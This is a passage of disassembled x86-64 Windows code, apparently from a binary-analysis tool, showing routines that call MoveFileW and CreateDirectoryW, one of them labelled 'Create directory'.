je 0x4072b9
cmp edi, ebx
jne 0x4072bb
xor bl, bl
mov byte [rsp + 0x20], bl
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x48]
mov rdx, rbp
mov rcx, r12
call fcn.0040b93c
test al, al
je 0x407306
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x38]
call fcn.00402364
nop
mov rcx, qword [rsp + 0x48]
call fcn.00402364
mov al, bl
jmp 0x40731d
mov rcx, qword [rsp + 0x38]
call fcn.00402364
nop
mov rcx, qword [rsp + 0x48]
call fcn.00402364
xor al, al
add rsp, 0x60
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x407490
Capabilities:
Create directory

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rdi, rcx
call fcn.0040b228
mov ebx, eax
cmp eax, 1
je 0x4074cf
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4074c2
mov al, 1
jmp 0x407522
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x407520
test ebx, ebx
je 0x407520
lea rcx, [rsp + 0x28]
call fcn.004034f4
nop
cmp ebx, 1
setne r8b
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.0040b8f4
test al, al
je 0x407516
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x28]
call fcn.00402364
mov al, bl
jmp 0x407522
mov rcx, qword [rsp + 0x28]
call fcn.00402364
xor al, al
add rsp, 0x48
pop rdi
pop rbx
ret